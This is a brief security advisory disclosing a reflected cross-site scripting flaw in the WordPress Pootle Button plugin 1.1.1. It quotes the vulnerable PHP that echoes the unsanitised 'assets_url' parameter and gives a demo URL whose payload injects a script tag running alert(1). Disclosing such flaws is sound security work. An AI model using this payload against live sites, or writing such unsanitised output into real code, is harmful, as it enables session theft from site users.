WordPress Pootle Button 1.1.1 Cross Site Scripting

`Class Input Validation Error  
Remote Yes  
Reflected Yes  
  
Credit Ricardo Sanchez  
Vulnerable Pootle button plugin 1.1.1  
Pootle button plugin is prone to a cross-site scripting  
vulnerability because it fails to sufficiently sanitize user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the  
browser of an unsuspecting user in the context of the affected site. This  
may allow the attacker to steal cookie-based authentication credentials and  
to launch other attacks.  
  
To exploit this issue following steps:  
  
The XSS reflected because the "assets_url" value is not filter correcly:  
  
<script src="<?php echo $_GET['assets_url'] . 'alpha-color.js'  
?>"></script> <link rel="stylesheet" href="<?php echo $_GET['assets_url'] .  
'dashicons-select.css' ?>"> <script src="<?php echo $_GET['assets_url'] .  
'dashicons-select.js?v=1.0.1' ?>"></script> Demo url:  
*http://localhost/wordpress/wp-admin/admin-ajax.php?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E  
<http://localhost/wordpress/wp-admin/admin-ajax.php?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E>*  
`